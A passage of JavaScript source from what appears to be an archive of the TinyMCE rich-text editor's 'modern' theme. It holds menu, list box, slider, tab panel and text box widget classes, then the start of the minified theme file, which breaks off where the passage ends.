      cancel: function () {
        var self = this;
        self.hideAll();
        self.fire('select');
      },
      load: function () {
        var self = this;
        var time, factory;
        function hideThrobber() {
          if (self.throbber) {
            self.throbber.hide();
            self.throbber = null;
          }
        }
        factory = self.settings.itemsFactory;
        if (!factory) {
          return;
        }
        if (!self.throbber) {
          self.throbber = new Throbber(self.getEl('body'), true);
          if (self.items().length === 0) {
            self.throbber.show();
            self.fire('loading');
          } else {
            self.throbber.show(100, function () {
              self.items().remove();
              self.fire('loading');
            });
          }
          self.on('hide close', hideThrobber);
        }
        self.requestTime = time = new Date().getTime();
        self.settings.itemsFactory(function (items) {
          if (items.length === 0) {
            self.hide();
            return;
          }
          if (self.requestTime !== time) {
            return;
          }
          self.getEl().style.width = '';
          self.getEl('body').style.width = '';
          hideThrobber();
          self.items().remove();
          self.getEl('body').innerHTML = '';
          self.add(items);
          self.renderNew();
          self.fire('loaded');
        });
      },
      hideAll: function () {
        var self = this;
        this.find('menuitem').exec('hideMenu');
        return self._super();
      },
      preRender: function () {
        var self = this;
        self.items().each(function (ctrl) {
          var settings = ctrl.settings;
          if (settings.icon || settings.image || settings.selectable) {
            self._hasIcons = true;
            return false;
          }
        });
        if (self.settings.itemsFactory) {
          self.on('postrender', function () {
            if (self.settings.itemsFactory) {
              self.load();
            }
          });
        }
        self.on('show hide', function (e) {
          if (e.control === self) {
            if (e.type === 'show') {
              global$7.setTimeout(function () {
                self.classes.add('in');
              }, 0);
            } else {
              self.classes.remove('in');
            }
          }
        });
        return self._super();
      }
    });

    var ListBox = MenuButton.extend({
      init: function (settings) {
        var self = this;
        var values, selected, selectedText, lastItemCtrl;
        function setSelected(menuValues) {
          for (var i = 0; i < menuValues.length; i++) {
            selected = menuValues[i].selected || settings.value === menuValues[i].value;
            if (selected) {
              selectedText = selectedText || menuValues[i].text;
              self.state.set('value', menuValues[i].value);
              return true;
            }
            if (menuValues[i].menu) {
              if (setSelected(menuValues[i].menu)) {
                return true;
              }
            }
          }
        }
        self._super(settings);
        settings = self.settings;
        self._values = values = settings.values;
        if (values) {
          if (typeof settings.value !== 'undefined') {
            setSelected(values);
          }
          if (!selected && values.length > 0) {
            selectedText = values[0].text;
            self.state.set('value', values[0].value);
          }
          self.state.set('menu', values);
        }
        self.state.set('text', settings.text || selectedText);
        self.classes.add('listbox');
        self.on('select', function (e) {
          var ctrl = e.control;
          if (lastItemCtrl) {
            e.lastControl = lastItemCtrl;
          }
          if (settings.multiple) {
            ctrl.active(!ctrl.active());
          } else {
            self.value(e.control.value());
          }
          lastItemCtrl = ctrl;
        });
      },
      value: function (value) {
        if (arguments.length === 0) {
          return this.state.get('value');
        }
        if (typeof value === 'undefined') {
          return this;
        }
        function valueExists(values) {
          return exists(values, function (a) {
            return a.menu ? valueExists(a.menu) : a.value === value;
          });
        }
        if (this.settings.values) {
          if (valueExists(this.settings.values)) {
            this.state.set('value', value);
          } else if (value === null) {
            this.state.set('value', null);
          }
        } else {
          this.state.set('value', value);
        }
        return this;
      },
      bindStates: function () {
        var self = this;
        function activateMenuItemsByValue(menu, value) {
          if (menu instanceof Menu) {
            menu.items().each(function (ctrl) {
              if (!ctrl.hasMenus()) {
                ctrl.active(ctrl.value() === value);
              }
            });
          }
        }
        function getSelectedItem(menuValues, value) {
          var selectedItem;
          if (!menuValues) {
            return;
          }
          for (var i = 0; i < menuValues.length; i++) {
            if (menuValues[i].value === value) {
              return menuValues[i];
            }
            if (menuValues[i].menu) {
              selectedItem = getSelectedItem(menuValues[i].menu, value);
              if (selectedItem) {
                return selectedItem;
              }
            }
          }
        }
        self.on('show', function (e) {
          activateMenuItemsByValue(e.control, self.value());
        });
        self.state.on('change:value', function (e) {
          var selectedItem = getSelectedItem(self.state.get('menu'), e.value);
          if (selectedItem) {
            self.text(selectedItem.text);
          } else {
            self.text(self.settings.text);
          }
        });
        return self._super();
      }
    });

    var toggleTextStyle = function (ctrl, state) {
      var textStyle = ctrl._textStyle;
      if (textStyle) {
        var textElm = ctrl.getEl('text');
        textElm.setAttribute('style', textStyle);
        if (state) {
          textElm.style.color = '';
          textElm.style.backgroundColor = '';
        }
      }
    };
    var MenuItem = Widget.extend({
      Defaults: {
        border: 0,
        role: 'menuitem'
      },
      init: function (settings) {
        var self = this;
        var text;
        self._super(settings);
        settings = self.settings;
        self.classes.add('menu-item');
        if (settings.menu) {
          self.classes.add('menu-item-expand');
        }
        if (settings.preview) {
          self.classes.add('menu-item-preview');
        }
        text = self.state.get('text');
        if (text === '-' || text === '|') {
          self.classes.add('menu-item-sep');
          self.aria('role', 'separator');
          self.state.set('text', '-');
        }
        if (settings.selectable) {
          self.aria('role', 'menuitemcheckbox');
          self.classes.add('menu-item-checkbox');
          settings.icon = 'selected';
        }
        if (!settings.preview && !settings.selectable) {
          self.classes.add('menu-item-normal');
        }
        self.on('mousedown', function (e) {
          e.preventDefault();
        });
        if (settings.menu && !settings.ariaHideMenu) {
          self.aria('haspopup', true);
        }
      },
      hasMenus: function () {
        return !!this.settings.menu;
      },
      showMenu: function () {
        var self = this;
        var settings = self.settings;
        var menu;
        var parent = self.parent();
        parent.items().each(function (ctrl) {
          if (ctrl !== self) {
            ctrl.hideMenu();
          }
        });
        if (settings.menu) {
          menu = self.menu;
          if (!menu) {
            menu = settings.menu;
            if (menu.length) {
              menu = {
                type: 'menu',
                items: menu
              };
            } else {
              menu.type = menu.type || 'menu';
            }
            if (parent.settings.itemDefaults) {
              menu.itemDefaults = parent.settings.itemDefaults;
            }
            menu = self.menu = global$4.create(menu).parent(self).renderTo();
            menu.reflow();
            menu.on('cancel', function (e) {
              e.stopPropagation();
              self.focus();
              menu.hide();
            });
            menu.on('show hide', function (e) {
              if (e.control.items) {
                e.control.items().each(function (ctrl) {
                  ctrl.active(ctrl.settings.selected);
                });
              }
            }).fire('show');
            menu.on('hide', function (e) {
              if (e.control === menu) {
                self.classes.remove('selected');
              }
            });
            menu.submenu = true;
          } else {
            menu.show();
          }
          menu._parentMenu = parent;
          menu.classes.add('menu-sub');
          var rel = menu.testMoveRel(self.getEl(), self.isRtl() ? [
            'tl-tr',
            'bl-br',
            'tr-tl',
            'br-bl'
          ] : [
            'tr-tl',
            'br-bl',
            'tl-tr',
            'bl-br'
          ]);
          menu.moveRel(self.getEl(), rel);
          menu.rel = rel;
          rel = 'menu-sub-' + rel;
          menu.classes.remove(menu._lastRel).add(rel);
          menu._lastRel = rel;
          self.classes.add('selected');
          self.aria('expanded', true);
        }
      },
      hideMenu: function () {
        var self = this;
        if (self.menu) {
          self.menu.items().each(function (item) {
            if (item.hideMenu) {
              item.hideMenu();
            }
          });
          self.menu.hide();
          self.aria('expanded', false);
        }
        return self;
      },
      renderHtml: function () {
        var self = this;
        var id = self._id;
        var settings = self.settings;
        var prefix = self.classPrefix;
        var text = self.state.get('text');
        var icon = self.settings.icon, image = '', shortcut = settings.shortcut;
        var url = self.encode(settings.url), iconHtml = '';
        function convertShortcut(shortcut) {
          var i, value, replace = {};
          if (global$8.mac) {
            replace = {
              alt: '&#x2325;',
              ctrl: '&#x2318;',
              shift: '&#x21E7;',
              meta: '&#x2318;'
            };
          } else {
            replace = { meta: 'Ctrl' };
          }
          shortcut = shortcut.split('+');
          for (i = 0; i < shortcut.length; i++) {
            value = replace[shortcut[i].toLowerCase()];
            if (value) {
              shortcut[i] = value;
            }
          }
          return shortcut.join('+');
        }
        function escapeRegExp(str) {
          return str.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
        }
        function markMatches(text) {
          var match = settings.match || '';
          return match ? text.replace(new RegExp(escapeRegExp(match), 'gi'), function (match) {
            return '!mce~match[' + match + ']mce~match!';
          }) : text;
        }
        function boldMatches(text) {
          return text.replace(new RegExp(escapeRegExp('!mce~match['), 'g'), '<b>').replace(new RegExp(escapeRegExp(']mce~match!'), 'g'), '</b>');
        }
        if (icon) {
          self.parent().classes.add('menu-has-icons');
        }
        if (settings.image) {
          image = ' style="background-image: url(\'' + settings.image + '\')"';
        }
        if (shortcut) {
          shortcut = convertShortcut(shortcut);
        }
        icon = prefix + 'ico ' + prefix + 'i-' + (self.settings.icon || 'none');
        iconHtml = text !== '-' ? '<i class="' + icon + '"' + image + '></i>\xA0' : '';
        text = boldMatches(self.encode(markMatches(text)));
        url = boldMatches(self.encode(markMatches(url)));
        return '<div id="' + id + '" class="' + self.classes + '" tabindex="-1">' + iconHtml + (text !== '-' ? '<span id="' + id + '-text" class="' + prefix + 'text">' + text + '</span>' : '') + (shortcut ? '<div id="' + id + '-shortcut" class="' + prefix + 'menu-shortcut">' + shortcut + '</div>' : '') + (settings.menu ? '<div class="' + prefix + 'caret"></div>' : '') + (url ? '<div class="' + prefix + 'menu-item-link">' + url + '</div>' : '') + '</div>';
      },
      postRender: function () {
        var self = this, settings = self.settings;
        var textStyle = settings.textStyle;
        if (typeof textStyle === 'function') {
          textStyle = textStyle.call(this);
        }
        if (textStyle) {
          var textElm = self.getEl('text');
          if (textElm) {
            textElm.setAttribute('style', textStyle);
            self._textStyle = textStyle;
          }
        }
        self.on('mouseenter click', function (e) {
          if (e.control === self) {
            if (!settings.menu && e.type === 'click') {
              self.fire('select');
              global$7.requestAnimationFrame(function () {
                self.parent().hideAll();
              });
            } else {
              self.showMenu();
              if (e.aria) {
                self.menu.focus(true);
              }
            }
          }
        });
        self._super();
        return self;
      },
      hover: function () {
        var self = this;
        self.parent().items().each(function (ctrl) {
          ctrl.classes.remove('selected');
        });
        self.classes.toggle('selected', true);
        return self;
      },
      active: function (state) {
        toggleTextStyle(this, state);
        if (typeof state !== 'undefined') {
          this.aria('checked', state);
        }
        return this._super(state);
      },
      remove: function () {
        this._super();
        if (this.menu) {
          this.menu.remove();
        }
      }
    });

    var Radio = Checkbox.extend({
      Defaults: {
        classes: 'radio',
        role: 'radio'
      }
    });

    var ResizeHandle = Widget.extend({
      renderHtml: function () {
        var self = this, prefix = self.classPrefix;
        self.classes.add('resizehandle');
        if (self.settings.direction === 'both') {
          self.classes.add('resizehandle-both');
        }
        self.canFocus = false;
        return '<div id="' + self._id + '" class="' + self.classes + '">' + '<i class="' + prefix + 'ico ' + prefix + 'i-resize"></i>' + '</div>';
      },
      postRender: function () {
        var self = this;
        self._super();
        self.resizeDragHelper = new DragHelper(this._id, {
          start: function () {
            self.fire('ResizeStart');
          },
          drag: function (e) {
            if (self.settings.direction !== 'both') {
              e.deltaX = 0;
            }
            self.fire('Resize', e);
          },
          stop: function () {
            self.fire('ResizeEnd');
          }
        });
      },
      remove: function () {
        if (this.resizeDragHelper) {
          this.resizeDragHelper.destroy();
        }
        return this._super();
      }
    });

    function createOptions(options) {
      var strOptions = '';
      if (options) {
        for (var i = 0; i < options.length; i++) {
          strOptions += '<option value="' + options[i] + '">' + options[i] + '</option>';
        }
      }
      return strOptions;
    }
    var SelectBox = Widget.extend({
      Defaults: {
        classes: 'selectbox',
        role: 'selectbox',
        options: []
      },
      init: function (settings) {
        var self = this;
        self._super(settings);
        if (self.settings.size) {
          self.size = self.settings.size;
        }
        if (self.settings.options) {
          self._options = self.settings.options;
        }
        self.on('keydown', function (e) {
          var rootControl;
          if (e.keyCode === 13) {
            e.preventDefault();
            self.parents().reverse().each(function (ctrl) {
              if (ctrl.toJSON) {
                rootControl = ctrl;
                return false;
              }
            });
            self.fire('submit', { data: rootControl.toJSON() });
          }
        });
      },
      options: function (state) {
        if (!arguments.length) {
          return this.state.get('options');
        }
        this.state.set('options', state);
        return this;
      },
      renderHtml: function () {
        var self = this;
        var options, size = '';
        options = createOptions(self._options);
        if (self.size) {
          size = ' size = "' + self.size + '"';
        }
        return '<select id="' + self._id + '" class="' + self.classes + '"' + size + '>' + options + '</select>';
      },
      bindStates: function () {
        var self = this;
        self.state.on('change:options', function (e) {
          self.getEl().innerHTML = createOptions(e.value);
        });
        return self._super();
      }
    });

    function constrain(value, minVal, maxVal) {
      if (value < minVal) {
        value = minVal;
      }
      if (value > maxVal) {
        value = maxVal;
      }
      return value;
    }
    function setAriaProp(el, name, value) {
      el.setAttribute('aria-' + name, value);
    }
    function updateSliderHandle(ctrl, value) {
      var maxHandlePos, shortSizeName, sizeName, stylePosName, styleValue, handleEl;
      if (ctrl.settings.orientation === 'v') {
        stylePosName = 'top';
        sizeName = 'height';
        shortSizeName = 'h';
      } else {
        stylePosName = 'left';
        sizeName = 'width';
        shortSizeName = 'w';
      }
      handleEl = ctrl.getEl('handle');
      maxHandlePos = (ctrl.layoutRect()[shortSizeName] || 100) - funcs.getSize(handleEl)[sizeName];
      styleValue = maxHandlePos * ((value - ctrl._minValue) / (ctrl._maxValue - ctrl._minValue)) + 'px';
      handleEl.style[stylePosName] = styleValue;
      handleEl.style.height = ctrl.layoutRect().h + 'px';
      setAriaProp(handleEl, 'valuenow', value);
      setAriaProp(handleEl, 'valuetext', '' + ctrl.settings.previewFilter(value));
      setAriaProp(handleEl, 'valuemin', ctrl._minValue);
      setAriaProp(handleEl, 'valuemax', ctrl._maxValue);
    }
    var Slider = Widget.extend({
      init: function (settings) {
        var self = this;
        if (!settings.previewFilter) {
          settings.previewFilter = function (value) {
            return Math.round(value * 100) / 100;
          };
        }
        self._super(settings);
        self.classes.add('slider');
        if (settings.orientation === 'v') {
          self.classes.add('vertical');
        }
        self._minValue = isNumber(settings.minValue) ? settings.minValue : 0;
        self._maxValue = isNumber(settings.maxValue) ? settings.maxValue : 100;
        self._initValue = self.state.get('value');
      },
      renderHtml: function () {
        var self = this, id = self._id, prefix = self.classPrefix;
        return '<div id="' + id + '" class="' + self.classes + '">' + '<div id="' + id + '-handle" class="' + prefix + 'slider-handle" role="slider" tabindex="-1"></div>' + '</div>';
      },
      reset: function () {
        this.value(this._initValue).repaint();
      },
      postRender: function () {
        var self = this;
        var minValue, maxValue, screenCordName, stylePosName, sizeName, shortSizeName;
        function toFraction(min, max, val) {
          return (val + min) / (max - min);
        }
        function fromFraction(min, max, val) {
          return val * (max - min) - min;
        }
        function handleKeyboard(minValue, maxValue) {
          function alter(delta) {
            var value;
            value = self.value();
            value = fromFraction(minValue, maxValue, toFraction(minValue, maxValue, value) + delta * 0.05);
            value = constrain(value, minValue, maxValue);
            self.value(value);
            self.fire('dragstart', { value: value });
            self.fire('drag', { value: value });
            self.fire('dragend', { value: value });
          }
          self.on('keydown', function (e) {
            switch (e.keyCode) {
            case 37:
            case 38:
              alter(-1);
              break;
            case 39:
            case 40:
              alter(1);
              break;
            }
          });
        }
        function handleDrag(minValue, maxValue, handleEl) {
          var startPos, startHandlePos, maxHandlePos, handlePos, value;
          self._dragHelper = new DragHelper(self._id, {
            handle: self._id + '-handle',
            start: function (e) {
              startPos = e[screenCordName];
              startHandlePos = parseInt(self.getEl('handle').style[stylePosName], 10);
              maxHandlePos = (self.layoutRect()[shortSizeName] || 100) - funcs.getSize(handleEl)[sizeName];
              self.fire('dragstart', { value: value });
            },
            drag: function (e) {
              var delta = e[screenCordName] - startPos;
              handlePos = constrain(startHandlePos + delta, 0, maxHandlePos);
              handleEl.style[stylePosName] = handlePos + 'px';
              value = minValue + handlePos / maxHandlePos * (maxValue - minValue);
              self.value(value);
              self.tooltip().text('' + self.settings.previewFilter(value)).show().moveRel(handleEl, 'bc tc');
              self.fire('drag', { value: value });
            },
            stop: function () {
              self.tooltip().hide();
              self.fire('dragend', { value: value });
            }
          });
        }
        minValue = self._minValue;
        maxValue = self._maxValue;
        if (self.settings.orientation === 'v') {
          screenCordName = 'screenY';
          stylePosName = 'top';
          sizeName = 'height';
          shortSizeName = 'h';
        } else {
          screenCordName = 'screenX';
          stylePosName = 'left';
          sizeName = 'width';
          shortSizeName = 'w';
        }
        self._super();
        handleKeyboard(minValue, maxValue);
        handleDrag(minValue, maxValue, self.getEl('handle'));
      },
      repaint: function () {
        this._super();
        updateSliderHandle(this, this.value());
      },
      bindStates: function () {
        var self = this;
        self.state.on('change:value', function (e) {
          updateSliderHandle(self, e.value);
        });
        return self._super();
      }
    });

    var Spacer = Widget.extend({
      renderHtml: function () {
        var self = this;
        self.classes.add('spacer');
        self.canFocus = false;
        return '<div id="' + self._id + '" class="' + self.classes + '"></div>';
      }
    });

    var SplitButton = MenuButton.extend({
      Defaults: {
        classes: 'widget btn splitbtn',
        role: 'button'
      },
      repaint: function () {
        var self = this;
        var elm = self.getEl();
        var rect = self.layoutRect();
        var mainButtonElm, menuButtonElm;
        self._super();
        mainButtonElm = elm.firstChild;
        menuButtonElm = elm.lastChild;
        global$9(mainButtonElm).css({
          width: rect.w - funcs.getSize(menuButtonElm).width,
          height: rect.h - 2
        });
        global$9(menuButtonElm).css({ height: rect.h - 2 });
        return self;
      },
      activeMenu: function (state) {
        var self = this;
        global$9(self.getEl().lastChild).toggleClass(self.classPrefix + 'active', state);
      },
      renderHtml: function () {
        var self = this;
        var id = self._id;
        var prefix = self.classPrefix;
        var image;
        var icon = self.state.get('icon');
        var text = self.state.get('text');
        var settings = self.settings;
        var textHtml = '', ariaPressed;
        image = settings.image;
        if (image) {
          icon = 'none';
          if (typeof image !== 'string') {
            image = domGlobals.window.getSelection ? image[0] : image[1];
          }
          image = ' style="background-image: url(\'' + image + '\')"';
        } else {
          image = '';
        }
        icon = settings.icon ? prefix + 'ico ' + prefix + 'i-' + icon : '';
        if (text) {
          self.classes.add('btn-has-text');
          textHtml = '<span class="' + prefix + 'txt">' + self.encode(text) + '</span>';
        }
        ariaPressed = typeof settings.active === 'boolean' ? ' aria-pressed="' + settings.active + '"' : '';
        return '<div id="' + id + '" class="' + self.classes + '" role="button"' + ariaPressed + ' tabindex="-1">' + '<button type="button" hidefocus="1" tabindex="-1">' + (icon ? '<i class="' + icon + '"' + image + '></i>' : '') + textHtml + '</button>' + '<button type="button" class="' + prefix + 'open" hidefocus="1" tabindex="-1">' + (self._menuBtnText ? (icon ? '\xA0' : '') + self._menuBtnText : '') + ' <i class="' + prefix + 'caret"></i>' + '</button>' + '</div>';
      },
      postRender: function () {
        var self = this, onClickHandler = self.settings.onclick;
        self.on('click', function (e) {
          var node = e.target;
          if (e.control === this) {
            while (node) {
              if (e.aria && e.aria.key !== 'down' || node.nodeName === 'BUTTON' && node.className.indexOf('open') === -1) {
                e.stopImmediatePropagation();
                if (onClickHandler) {
                  onClickHandler.call(this, e);
                }
                return;
              }
              node = node.parentNode;
            }
          }
        });
        delete self.settings.onclick;
        return self._super();
      }
    });

    var StackLayout = FlowLayout.extend({
      Defaults: {
        containerClass: 'stack-layout',
        controlClass: 'stack-layout-item',
        endClass: 'break'
      },
      isNative: function () {
        return true;
      }
    });

    var TabPanel = Panel.extend({
      Defaults: {
        layout: 'absolute',
        defaults: { type: 'panel' }
      },
      activateTab: function (idx) {
        var activeTabElm;
        if (this.activeTabId) {
          activeTabElm = this.getEl(this.activeTabId);
          global$9(activeTabElm).removeClass(this.classPrefix + 'active');
          activeTabElm.setAttribute('aria-selected', 'false');
        }
        this.activeTabId = 't' + idx;
        activeTabElm = this.getEl('t' + idx);
        activeTabElm.setAttribute('aria-selected', 'true');
        global$9(activeTabElm).addClass(this.classPrefix + 'active');
        this.items()[idx].show().fire('showtab');
        this.reflow();
        this.items().each(function (item, i) {
          if (idx !== i) {
            item.hide();
          }
        });
      },
      renderHtml: function () {
        var self = this;
        var layout = self._layout;
        var tabsHtml = '';
        var prefix = self.classPrefix;
        self.preRender();
        layout.preRender(self);
        self.items().each(function (ctrl, i) {
          var id = self._id + '-t' + i;
          ctrl.aria('role', 'tabpanel');
          ctrl.aria('labelledby', id);
          tabsHtml += '<div id="' + id + '" class="' + prefix + 'tab" ' + 'unselectable="on" role="tab" aria-controls="' + ctrl._id + '" aria-selected="false" tabIndex="-1">' + self.encode(ctrl.settings.title) + '</div>';
        });
        return '<div id="' + self._id + '" class="' + self.classes + '" hidefocus="1" tabindex="-1">' + '<div id="' + self._id + '-head" class="' + prefix + 'tabs" role="tablist">' + tabsHtml + '</div>' + '<div id="' + self._id + '-body" class="' + self.bodyClasses + '">' + layout.renderHtml(self) + '</div>' + '</div>';
      },
      postRender: function () {
        var self = this;
        self._super();
        self.settings.activeTab = self.settings.activeTab || 0;
        self.activateTab(self.settings.activeTab);
        this.on('click', function (e) {
          var targetParent = e.target.parentNode;
          if (targetParent && targetParent.id === self._id + '-head') {
            var i = targetParent.childNodes.length;
            while (i--) {
              if (targetParent.childNodes[i] === e.target) {
                self.activateTab(i);
              }
            }
          }
        });
      },
      initLayoutRect: function () {
        var self = this;
        var rect, minW, minH;
        minW = funcs.getSize(self.getEl('head')).width;
        minW = minW < 0 ? 0 : minW;
        minH = 0;
        self.items().each(function (item) {
          minW = Math.max(minW, item.layoutRect().minW);
          minH = Math.max(minH, item.layoutRect().minH);
        });
        self.items().each(function (ctrl) {
          ctrl.settings.x = 0;
          ctrl.settings.y = 0;
          ctrl.settings.w = minW;
          ctrl.settings.h = minH;
          ctrl.layoutRect({
            x: 0,
            y: 0,
            w: minW,
            h: minH
          });
        });
        var headH = funcs.getSize(self.getEl('head')).height;
        self.settings.minWidth = minW;
        self.settings.minHeight = minH + headH;
        rect = self._super();
        rect.deltaH += headH;
        rect.innerH = rect.h - rect.deltaH;
        return rect;
      }
    });

    var TextBox = Widget.extend({
      init: function (settings) {
        var self = this;
        self._super(settings);
        self.classes.add('textbox');
        if (settings.multiline) {
          self.classes.add('multiline');
        } else {
          self.on('keydown', function (e) {
            var rootControl;
            if (e.keyCode === 13) {
              e.preventDefault();
              self.parents().reverse().each(function (ctrl) {
                if (ctrl.toJSON) {
                  rootControl = ctrl;
                  return false;
                }
              });
              self.fire('submit', { data: rootControl.toJSON() });
            }
          });
          self.on('keyup', function (e) {
            self.state.set('value', e.target.value);
          });
        }
      },
      repaint: function () {
        var self = this;
        var style, rect, borderBox, borderW, borderH = 0, lastRepaintRect;
        style = self.getEl().style;
        rect = self._layoutRect;
        lastRepaintRect = self._lastRepaintRect || {};
        var doc = domGlobals.document;
        if (!self.settings.multiline && doc.all && (!doc.documentMode || doc.documentMode <= 8)) {
          style.lineHeight = rect.h - borderH + 'px';
        }
        borderBox = self.borderBox;
        borderW = borderBox.left + borderBox.right + 8;
        borderH = borderBox.top + borderBox.bottom + (self.settings.multiline ? 8 : 0);
        if (rect.x !== lastRepaintRect.x) {
          style.left = rect.x + 'px';
          lastRepaintRect.x = rect.x;
        }
        if (rect.y !== lastRepaintRect.y) {
          style.top = rect.y + 'px';
          lastRepaintRect.y = rect.y;
        }
        if (rect.w !== lastRepaintRect.w) {
          style.width = rect.w - borderW + 'px';
          lastRepaintRect.w = rect.w;
        }
        if (rect.h !== lastRepaintRect.h) {
          style.height = rect.h - borderH + 'px';
          lastRepaintRect.h = rect.h;
        }
        self._lastRepaintRect = lastRepaintRect;
        self.fire('repaint', {}, false);
        return self;
      },
      renderHtml: function () {
        var self = this;
        var settings = self.settings;
        var attrs, elm;
        attrs = {
          id: self._id,
          hidefocus: '1'
        };
        global$2.each([
          'rows',
          'spellcheck',
          'maxLength',
          'size',
          'readonly',
          'min',
          'max',
          'step',
          'list',
          'pattern',
          'placeholder',
          'required',
          'multiple'
        ], function (name) {
          attrs[name] = settings[name];
        });
        if (self.disabled()) {
          attrs.disabled = 'disabled';
        }
        if (settings.subtype) {
          attrs.type = settings.subtype;
        }
        elm = funcs.create(settings.multiline ? 'textarea' : 'input', attrs);
        elm.value = self.state.get('value');
        elm.className = self.classes.toString();
        return elm.outerHTML;
      },
      value: function (value) {
        if (arguments.length) {
          this.state.set('value', value);
          return this;
        }
        if (this.state.get('rendered')) {
          this.state.set('value', this.getEl().value);
        }
        return this.state.get('value');
      },
      postRender: function () {
        var self = this;
        self.getEl().value = self.state.get('value');
        self._super();
        self.$el.on('change', function (e) {
          self.state.set('value', e.target.value);
          self.fire('change', e);
        });
      },
      bindStates: function () {
        var self = this;
        self.state.on('change:value', function (e) {
          if (self.getEl().value !== e.value) {
            self.getEl().value = e.value;
          }
        });
        self.state.on('change:disabled', function (e) {
          self.getEl().disabled = e.value;
        });
        return self._super();
      },
      remove: function () {
        this.$el.off();
        this._super();
      }
    });

    var getApi = function () {
      return {
        Selector: Selector,
        Collection: Collection$2,
        ReflowQueue: ReflowQueue,
        Control: Control$1,
        Factory: global$4,
        KeyboardNavigation: KeyboardNavigation,
        Container: Container,
        DragHelper: DragHelper,
        Scrollable: Scrollable,
        Panel: Panel,
        Movable: Movable,
        Resizable: Resizable,
        FloatPanel: FloatPanel,
        Window: Window,
        MessageBox: MessageBox,
        Tooltip: Tooltip,
        Widget: Widget,
        Progress: Progress,
        Notification: Notification,
        Layout: Layout,
        AbsoluteLayout: AbsoluteLayout,
        Button: Button,
        ButtonGroup: ButtonGroup,
        Checkbox: Checkbox,
        ComboBox: ComboBox,
        ColorBox: ColorBox,
        PanelButton: PanelButton,
        ColorButton: ColorButton,
        ColorPicker: ColorPicker,
        Path: Path,
        ElementPath: ElementPath,
        FormItem: FormItem,
        Form: Form,
        FieldSet: FieldSet,
        FilePicker: FilePicker,
        FitLayout: FitLayout,
        FlexLayout: FlexLayout,
        FlowLayout: FlowLayout,
        FormatControls: FormatControls,
        GridLayout: GridLayout,
        Iframe: Iframe$1,
        InfoBox: InfoBox,
        Label: Label,
        Toolbar: Toolbar$1,
        MenuBar: MenuBar,
        MenuButton: MenuButton,
        MenuItem: MenuItem,
        Throbber: Throbber,
        Menu: Menu,
        ListBox: ListBox,
        Radio: Radio,
        ResizeHandle: ResizeHandle,
        SelectBox: SelectBox,
        Slider: Slider,
        Spacer: Spacer,
        SplitButton: SplitButton,
        StackLayout: StackLayout,
        TabPanel: TabPanel,
        TextBox: TextBox,
        DropZone: DropZone,
        BrowseButton: BrowseButton
      };
    };
    var appendTo = function (target) {
      if (target.ui) {
        global$2.each(getApi(), function (ref, key) {
          target.ui[key] = ref;
        });
      } else {
        target.ui = getApi();
      }
    };
    var registerToFactory = function () {
      global$2.each(getApi(), function (ref, key) {
        global$4.add(key, ref);
      });
    };
    var Api = {
      appendTo: appendTo,
      registerToFactory: registerToFactory
    };

    Api.registerToFactory();
    Api.appendTo(window.tinymce ? window.tinymce : {});
    global.add('modern', function (editor) {
      FormatControls.setup(editor);
      return ThemeApi.get(editor);
    });
    function Theme () {
    }

    return Theme;

}(window));
})();
modern/theme.min.js000064400000377272152223175240010277 0ustar00!function(_){"use strict";var e,t,n,i,r=tinymce.util.Tools.resolve("tinymce.ThemeManager"),l=tinymce.util.Tools.resolve("tinymce.EditorManager"),w=tinymce.util.Tools.resolve("tinymce.util.Tools"),d=function(e){return!1!==c(e)},c=function(e){return e.getParam("menubar")},f=function(e){return e.getParam("toolbar_items_size")},h=function(e){return e.getParam("menu")},m=function(e){return!1===e.settings.skin},g=function(e){var t=e.getParam("resize","vertical");return!1===t?"none":"both"===t?"both":"vertical"},p=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),v=tinymce.util.Tools.resolve("tinymce.ui.Factory"),b=tinymce.util.Tools.resolve("tinymce.util.I18n"),o=function(e){return e.fire("SkinLoaded")},y=function(e){return e.fire("ResizeEditor")},x=function(e){return e.fire("BeforeRenderUI")},s=function(t,n){return function(){var e=t.find(n)[0];e&&e.focus(!0)}},R=function(e,t){e.shortcuts.add("Alt+F9","",s(t,"menubar")),e.shortcuts.add("Alt+F10,F10","",s(t,"toolbar")),e.shortcuts.add("Alt+F11","",s(t,"elementpath")),t.on("cancel",function(){e.focus()})},C=tinymce.util.Tools.resolve("tinymce.geom.Rect"),u=tinymce.util.Tools.resolve("tinymce.util.Delay"),E=function(){},k=function(e){return function(){return e}},a=k(!1),H=k(!0),S=function(){return T},T=(e=function(e){return e.isNone()},i={fold:function(e,t){return e()},is:a,isSome:a,isNone:H,getOr:n=function(e){return e},getOrThunk:t=function(e){return e()},getOrDie:function(e){throw new Error(e||"error: getOrDie called on none.")},getOrNull:k(null),getOrUndefined:k(undefined),or:n,orThunk:t,map:S,each:E,bind:S,exists:a,forall:H,filter:S,equals:e,equals_:e,toArray:function(){return[]},toString:k("none()")},Object.freeze&&Object.freeze(i),i),M=function(n){var e=k(n),t=function(){return r},i=function(e){return e(n)},r={fold:function(e,t){return t(n)},is:function(e){return n===e},isSome:H,isNone:a,getOr:e,getOrThunk:e,getOrDie:e,getOrNull:e,getOrUndefined:e,or:t,orThunk:t,map:function(e){return M(e(n))},each:function(e){e(n)},bind:i,exists:i,forall:i,filter:function(e){return e(n)?r:T},toArray:function(){return[n]},toString:function(){return"some("+n+")"},equals:function(e){return e.is(n)},equals_:function(e,t){return e.fold(a,function(e){return t(n,e)})}};return r},N={some:M,none:S,from:function(e){return null===e||e===undefined?T:M(e)}},P=function(e){return e?e.getRoot().uiContainer:null},W={getUiContainerDelta:function(e){var t=P(e);if(t&&"static"!==p.DOM.getStyle(t,"position",!0)){var n=p.DOM.getPos(t),i=t.scrollLeft-n.x,r=t.scrollTop-n.y;return N.some({x:i,y:r})}return N.none()},setUiContainer:function(e,t){var n=p.DOM.select(e.settings.ui_container)[0];t.getRoot().uiContainer=n},getUiContainer:P,inheritUiContainer:function(e,t){return t.uiContainer=P(e)}},D=function(i,e,r){var o,s=[];if(e)return w.each(e.split(/[ ,]/),function(t){var e,n=function(){var e=i.selection;t.settings.stateSelector&&e.selectorChanged(t.settings.stateSelector,function(e){t.active(e)},!0),t.settings.disabledStateSelector&&e.selectorChanged(t.settings.disabledStateSelector,function(e){t.disabled(e)})};"|"===t?o=null:(o||(o={type:"buttongroup",items:[]},s.push(o)),i.buttons[t]&&(e=t,"function"==typeof(t=i.buttons[e])&&(t=t()),t.type=t.type||"button",t.size=r,t=v.create(t),o.items.push(t),i.initialized?n():i.on("init",n)))}),{type:"toolbar",layout:"flow",items:s}},O=D,A=function(n,i){var 